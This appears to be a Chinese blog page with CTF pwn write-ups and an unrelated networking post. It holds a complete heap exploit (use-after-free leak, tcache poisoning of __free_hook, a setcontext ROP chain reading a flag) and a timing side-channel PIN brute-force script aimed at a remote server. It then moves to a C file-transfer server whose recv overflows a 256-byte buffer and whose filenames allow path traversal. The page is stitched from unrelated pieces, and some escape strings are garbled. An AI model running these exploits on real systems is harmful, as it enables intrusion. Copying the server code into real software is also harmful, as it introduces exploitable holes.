0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW

漏洞分析

1
2
3
4
5
6
7
8
void __fastcall dele(__int64 index)
{
if ( (&chunk_list)[index] )
{
free((&chunk_list)[index]);
data[index] = 0;
}
}
  • UAF

入侵思路

开了沙盒,因此需要打堆上 ORW,不过在此之前需要先绕过一个加密

逆向了很久也得不出加密逻辑,后来观察加密代码感觉有点像反序列化(比赛时脑袋有点糊了,没有凑出反序列化的格式)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // [rsp+0h] [rbp-10h]
__int64 v4; // [rsp+8h] [rbp-8h]

sub_1763(a1, a2, a3);
while ( 1 )
{
memset(&unk_A060, 0, 0x400uLL);
puts("You can try to have friendly communication with me now: ");
v3 = read(0, &unk_A060, 0x400uLL);
v4 = code(0LL, v3, (__int64)&unk_A060);
if ( !v4 )
break;
sub_155D(
*(_QWORD *)(v4 + 24),
*(_QWORD *)(v4 + 32),
*(_QWORD *)(v4 + 40),
*(_QWORD *)(v4 + 48),
*(_QWORD *)(v4 + 56));
}
sub_1329();
}

由于这不是传统的 protobuf 程序,因此不能使用 pbtk

通过逆向 + 调试 + 猜测,得出了以下格式:

1
2
3
4
5
6
7
8
9
syntax = "proto3";
//actionid msgidx msgsize msgcontent

message Chunk {
sint64 actionid = 1;
sint64 msgidx = 2;
sint64 msgsize = 3;
bytes msgcontent = 4;
}
  • 这里补充几个合理的 protobuf 序列:
1
2
3
b'\x08\x02\x10\x04\x18\xa0\x02"\x90\x01aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
b'\x08\x02\x10\x06\x18\xa0\x02"\x90\x01aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
b'\x08\x02\x10\x08\x18\xa0\x02"\x90\x01aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
  • 0x08 0x10 0x18 分别代表 actionid msgidx msgsize 的累加长度
  • 0x90 则代表 msgcontent 的长度

拥有 UAF 可以轻松完成泄露

然后写入 ORW,计算好偏移地址

最后打一个 tcache attack,劫持 free_hook 为 malloc_gadget

1
0x0000000000151990: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn2'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('123.56.116.45','15075')

def debug():
gdb.attach(p)
#gdb.attach(p,"b *$rebase(0x1805)\n")
#pause()

import chunk_pb2

def cmd(op):
sa("now: ",op)

def add(index,size,data):
chunk = chunk_pb2.Chunk()
chunk.actionid = 1
chunk.msgidx = index+1
chunk.msgsize = size
chunk.msgcontent = data
op = chunk.SerializeToString()
cmd(op)

def show(index):
chunk = chunk_pb2.Chunk()
chunk.actionid = 3
chunk.msgsize = 1
chunk.msgidx = index+1
chunk.msgcontent = b"1"
op = chunk.SerializeToString()
cmd(op)

def edit(index,data):
chunk = chunk_pb2.Chunk()
chunk.actionid = 2
chunk.msgidx = index+1
chunk.msgsize = 1
chunk.msgcontent = data
op = chunk.SerializeToString()
cmd(op)

def dele(index):
chunk = chunk_pb2.Chunk()
chunk.actionid = 4
chunk.msgidx = index+1
chunk.msgsize = 1
chunk.msgcontent = b"2"
op = chunk.SerializeToString()
cmd(op)

#debug()

for i in range(11):
add(i,0x90,b"a"*0x90)

for i in range(7):
dele(i)

dele(7)
dele(9)

show(7)
p.recvuntil("\n")
p.recv(0x70)
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_addr - 0x1ecc00
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

show(1)
p.recvuntil("\n")
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
heap_base = leak_addr - 0x390
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

free_hook = libc_base+libc.sym["__free_hook"]
system = libc_base+libc.sym["system"]
one_gadgets = [0xe3afe,0xe3b01,0xe3b04]
one_gadget = libc_base+one_gadgets[2]
set_context = libc_base+libc.sym["setcontext"]+61
#svcudp_reply = libc_base+libc.sym['svcudp_reply']+26
magic_gadget = libc_base+0x0000000000151990
#0x0000000000151990: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

success("free_hook >> "+hex(free_hook))
success("system >> "+hex(system))
success("set_context >> "+hex(set_context))
#success("svcudp_reply >> "+hex(svcudp_reply))
success("magic_gadget >> "+hex(magic_gadget))

start_addr = heap_base + 0x1840
ORW_addr = heap_base + 0x18c8
flag_addr = heap_base + 0x1968

pop_rax_ret = 0x0000000000036174+libc_base
pop_rdi_ret = 0x0000000000023b6a+libc_base
pop_rsi_ret = 0x000000000002601f+libc_base
pop_rdx_ret = 0x0000000000142c92+libc_base
syscall_ret = 0x91024+libc_base
ret = pop_rax_ret+1

add(3,0x20,b"a"*0x20)

payload = p64(set_context)
payload += b"a"*(0x38-0x20)
success("payload len >> "+hex(len(payload)))
add(2,len(payload),payload)

payload = p64(ORW_addr) + p64(ret)
# open(heap_addr,0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(flag_addr)
payload += p64(syscall_ret)
# read(3,heap_addr,0x60)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(flag_addr-0x200)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)
# write(1,heap_addr,0x60)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(syscall_ret)
payload += b"./flag".ljust(8,b"\x00")
success("payload len >> "+hex(len(payload)))
add(1,len(payload),payload)

heap_addr =heap_base + 0x390
payload = b"a"*0x50 + p64(heap_addr)
edit(0,payload)

payload = p64(free_hook)+p64(0)
edit(6,payload)

payload = p64(0)+p64(start_addr-0x20)
add(12,0x90,payload)
add(13,0x90,p64(magic_gadget))
dele(12)

p.interactive()

login

本题目无附件

入侵思路

比赛时发现有无限栈溢出,于是猜测是多线程覆盖 TLS 的那种 canary 题目

然后发现好像只能爆破 PIN 值,于是想找个弱密码字典进行爆破(没有找到合适的)

后来看 wp 才发现这题要打侧信道(比赛时想到了这个方法,但由于对侧信道的理解不够深刻,于是忽略了这个方法)

侧信道攻击:当输入的 PIN 值的某一位与正确 PIN 值的对应位不同时,可能会导致系统的某些操作或计算需要更多的时间,通过观察时间戳的差异,攻击者可以推断出某一位是否正确

由于题目环境已经关闭,不能对 exp 进行调试

非完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from sys import argv

challenge = ""

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

def check(num):
sla("> ",str(3))
sla("PIN code: ",str(num))

local = 0
if local:
p = process(challenge)
else:
p = remote('39.105.187.49','35546')

num = "0000000" # change

for i in range(10):
check(str(i)+num)
start=time.time()
rev=p.recvuntil('\n')
end=time.time()
print(end - start)

p.interactive()

基础信息

为了完成工程实践项目写的测试程序

目前已经完成了多线程,并实现了 “文件上传” 和 “文件下载” 的进度条

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<errno.h>
#include<unistd.h>
#include<arpa/inet.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<sys/stat.h>
#include<netinet/in.h>

#define MAXLINE 4096
#define PORT 2345

void showProgress(int size, int len){
for(int i=0;i<0x42;i++){
printf("\b");
}
printf("[");
for(int i=0;i<0x40;i++){
if(i <= (len*0x40/size)){
printf("#");
}
else if(i > (len*0x40/size)){
printf("-");
}
}
printf("]");
}

void doPull(char* filename, int sockfd, int size){
int n,len;
char rev[0x1000];
FILE* fp;
fp = fopen(filename,"w");
len = 0;
while(1){
memset(rev,0,sizeof(rev));
n = recv(sockfd, rev, sizeof(rev), 0);
if(n < 0){
break;
}
fwrite(rev, 1, n, fp);
len += sizeof(rev);
showProgress(size/0x1000,len/0x1000);
}
printf("\n");
fflush(fp);
fclose(fp);
}

void doPush(char* filename, int sockfd){
int n,size,len;
char sed[0x1000];
struct stat st;
FILE* fp;

sprintf(sed,"./%s",filename);
if(stat(sed,&st)<0){
printf("File %s not find\n",filename);
if(send(sockfd, "File not find", 13, 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
return;
}
else{
printf("Find the flie %s\n",filename);
strcpy(sed,"Try to upload the flie");
if(send(sockfd, "Try to upload the flie", 22, 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
}

fp = fopen(filename,"r");
size = st.st_size;
len = 0;
if(fp){
memset(sed,0,sizeof(sed));
while(1){
n = fread(sed, sizeof(sed), 1, fp);
send(sockfd, sed, sizeof(sed), 0);
len += sizeof(sed);
showProgress(size/0x1000,len/0x1000);
if(n == 0){
break;
}
}
}
printf("\n");
fflush(fp);
fclose(fp);
}

int main(int argc, char** argv)
{
int sockfd, n, size;
char rev[0x100], cmd[0x100], temp[0x80], filename[0x40];
struct sockaddr_in servaddr;
struct sockaddr_in clieaddr;

if(argc != 2){
printf("usage: ./client <ipaddress>\n");
exit(0);
}
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("create socket error: %s(errno: %d)\n", strerror(errno),errno);
exit(0);
}
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(6666);

struct timeval tv_out;
tv_out.tv_sec = 1;
tv_out.tv_usec = 0;
setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &tv_out, sizeof(tv_out));

if(inet_pton(AF_INET, argv[1], &servaddr.sin_addr) <= 0){
printf("inet_pton error for %s\n",argv[1]);
exit(0);
}
if(connect(sockfd, (struct sockaddr*)&servaddr, sizeof(servaddr)) < 0){
printf("connect error: %s(errno: %d)\n",strerror(errno),errno);
exit(0);
}
else{
printf("connect success: %s\n",argv[1]);
}
memset(&clieaddr, 0, sizeof(clieaddr));
clieaddr.sin_family = AF_INET;
clieaddr.sin_port = htons(PORT);
clieaddr.sin_addr.s_addr = htons(INADDR_ANY);

while(1){
write(1,"$ ",0x2);
n = read(0,cmd,0x100);
cmd[n-1] = '\0';
if(strlen(cmd) == 0){
continue;
}
if(send(sockfd, cmd, strlen(cmd), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
memset(rev,0,sizeof(rev));
if(recv(sockfd, rev, sizeof(rev), 0) < 0) {
continue;
}
write(1,rev,strlen(rev));
if(!strcmp("The connection has been closed\n",rev)){
puts("Client closed");
break;
}
else if(!strncmp("Start download file: ",rev,20)){
strcpy(filename,&rev[21]);
strtok(filename,"-");
size = atoi(strtok(NULL,"-"));
printf("Target file: %s(%d)\n",filename,size);
doPull(filename,sockfd,size);
printf("The file has been downloaded\n");
}
else if(!strncmp("Try to upload file: ",rev,19)){
strcpy(filename,&rev[20]);
filename[strlen(filename)-1] = 0;
printf("Target file: %s\n",filename);
doPush(filename,sockfd);
printf("The file has been uploaded\n");
}
}

close(sockfd);
exit(0);
}

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<errno.h>
#include<unistd.h>
#include<arpa/inet.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<netinet/in.h>
#include<dirent.h>
#include<pthread.h>

#define MAXLINE 4096
#define PORT 6666
#define LISTENQ 1024
#define ROOTDIR "./root"

struct info {
pthread_t tidp;
int sockfd;
struct sockaddr_in clieaddr;
};

struct info *clieinfos[0x20];


enum CMD{LS,PULL,PUSH,HELP,EXIT,NUL};

int cmdChange(char* buf){
if(!strncmp("ls",buf,2) || !strncmp("LS",buf,2)){
return LS;
}else if(!strncmp("pull",buf,4) || !strncmp("PULL",buf,4)){
return PULL;
}else if(!strncmp("push",buf,4) || !strncmp("PUSH",buf,4)){
return PUSH;
}else if(!strncmp("help",buf,4) || !strncmp("HELP",buf,4)){
return HELP;
}else if(!strncmp("exit",buf,4) || !strncmp("EXIT",buf,4)){
return EXIT;
}else{
return NUL;
}
}

int cmdHander(int index){
int n,i,cmd,size;
int connfd;
FILE* fp;
char buf[0x100], info[0x1000], temp[0x80];
char* filename;
struct stat st;
struct sockaddr_in clieaddr;

connfd = clieinfos[index]->sockfd;
memcpy(&clieaddr, &clieinfos[index]->clieaddr,sizeof(clieaddr));

while(1){
memset(buf,0,sizeof(buf));
memset(info,0,sizeof(info));
if((n = recv(connfd, buf, MAXLINE, 0)) < 0){
continue;
}
buf[n] = '\0';
printf("client cmd:%s\n", buf);
cmd = cmdChange(buf);

switch(cmd){
case LS:
sprintf(temp,"ls %s -l",ROOTDIR);
fp = popen(temp,"r");
if(fp == NULL){
printf("popen error\n");
exit(0);
}
while(fgets(temp, sizeof(temp), fp) > 0){
strcat(info,temp);
}
if(strlen(info) == 0){
sprintf(info,"(null)\n");
}
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
break;
case PULL:
strtok(buf," ");
filename = strtok(NULL," ");
if(filename == NULL){
sprintf(info,"CMD[PULL] need parameter <filename>\n");
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
break;
}
sprintf(temp,"%s/%s",ROOTDIR,filename);
if(stat(temp,&st)<0){
sprintf(info,"File %s not find\n",filename);
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
break;
}
size = st.st_size;
sprintf(info,"Start download file: %s-%d\n",filename,size);
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
fp = fopen(temp,"r");
while(1){
memset(info,0,sizeof(info));
n = fread(info, 1, sizeof(info), fp);
send(connfd, info, n, 0);
if(n == 0){
break;
}
}
printf("client %s:%d had downloaded file %s\n", inet_ntoa(clieaddr.sin_addr), ntohs(clieaddr.sin_port),filename);
fclose(fp);
break;
case PUSH:
strtok(buf," ");
filename = strtok(NULL," ");
if(filename == NULL){
sprintf(info,"CMD[PUSH] need parameter <filename>\n");
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
break;
}
sprintf(info,"Try to upload file: %s\n",filename);
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
memset(info,0,sizeof(info));
if(recv(connfd, info, sizeof(info), 0) < 0) {
printf("recv msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
if(!strcmp("Try to upload the flie",info)){
sprintf(temp,"%s/%s",ROOTDIR,filename);
fp = fopen(temp,"w");
if(!fp){
printf("Something error\n");
exit(0);
}
while(1){
n = recv(connfd, info, sizeof(info), 0);
if(n < 0){
break;
}
fwrite(info, 1, n, fp);
}
fflush(fp);
fclose(fp);
printf("client %s:%d success to upload file %s\n", inet_ntoa(clieaddr.sin_addr), ntohs(clieaddr.sin_port),filename);
}
else if(!strcmp("File not find",info)){
printf("client %s:%d failed to upload file\n", inet_ntoa(clieaddr.sin_addr), ntohs(clieaddr.sin_port));
}
break;
case HELP:
sprintf(info,"<---------------------------------------->\n");
strcat(info,"1.LS: Show the file you can PULL\n");
strcat(info,"2.PULL <filename>: Download <filename> from the server\n");
strcat(info,"3.PUSH <filename>: Upload <filename> to the server\n");
strcat(info,"4.EXIT: Close the connection to the server\n");
strcat(info,"<---------------------------------------->\n");
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
break;
case EXIT:
printf("client %s:%d is closed\n", inet_ntoa(clieaddr.sin_addr), ntohs(clieaddr.sin_port));
sprintf(info,"The connection has been closed\n");
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
free(clieinfos[index]);
clieinfos[index] = NULL;
return close(connfd);
case NUL:
sprintf(info,"CMD[%s] is not find, please use CMD[help]\n",buf);
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
break;
default:
sprintf(info,"Something error\n");
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
break;
}
}
}

int initRoot(){
struct stat st;
if(stat(ROOTDIR,&st)<0){
printf("The Rootdir %s not find\n",ROOTDIR);
printf("Creating %s now\n",ROOTDIR);
mkdir(ROOTDIR,0777);
}
}

int getID(){
for(int i=0;i<0x20;i++){
if(clieinfos[i] == NULL){
clieinfos[i] = (struct info*)malloc(sizeof(struct info));
return i;
}
}
return -1;
}


int main(int argc, char** argv)
{
int listenfd, connfd, i;
struct sockaddr_in servaddr;
struct sockaddr_in listendAddr;
char ipAddr[INET_ADDRSTRLEN];
char info[0x100];
int len;

initRoot();

if( (listenfd = socket(AF_INET, SOCK_STREAM, 0)) == -1 )
{
printf("create socket error: %s(errno: %d)\n",strerror(errno),errno);
exit(0);
}
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(PORT);

struct timeval tv_out;
tv_out.tv_sec = 1;
tv_out.tv_usec = 0;
setsockopt(listenfd, SOL_SOCKET, SO_RCVTIMEO, &tv_out, sizeof(tv_out));

int opt = 1;
setsockopt(listenfd,SOL_SOCKET,SO_REUSEADDR,&opt,sizeof(opt));

if(bind(listenfd, (struct sockaddr*)&servaddr, sizeof(servaddr)) == -1)
{
printf("bind socket error: %s(errno: %d)\n",strerror(errno),errno);
exit(0);
}
if(listen(listenfd, LISTENQ) == -1)
{
printf("listen socket error: %s(errno: %d)\n",strerror(errno),errno);
exit(0);
}

len = sizeof(listendAddr);
if(getsockname(listenfd, (struct sockaddr *)&listendAddr, &len) == -1){
printf("getsockname error\n");
exit(0);
}
printf("listen address = %s:%d\n", inet_ntoa(listendAddr.sin_addr), ntohs(listendAddr.sin_port));

while(1)
{
if((connfd = accept(listenfd, (struct sockaddr*)NULL, NULL)) == -1){
continue;
}
if(i = getID() < 0){
sprintf(info,"The thread is full, please wait\n");
if(send(connfd, info, strlen(info), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
}
clieinfos[i]->sockfd = connfd;
len = sizeof(clieinfos[i]->clieaddr);
if(getpeername(connfd, (struct sockaddr *)&(clieinfos[i]->clieaddr), &len) == -1){
printf("getpeername error");
exit(0);
}
printf("client %s:%d try to connect\n", inet_ntop(AF_INET, &clieinfos[i]->clieaddr.sin_addr, ipAddr, sizeof(ipAddr)), ntohs(clieinfos[i]->clieaddr.sin_port));
if (pthread_create(&(clieinfos[i]->tidp) , NULL, cmdHander, i)){
printf("pthread_create error!\n");
return -1;
}
}
close(listenfd);
}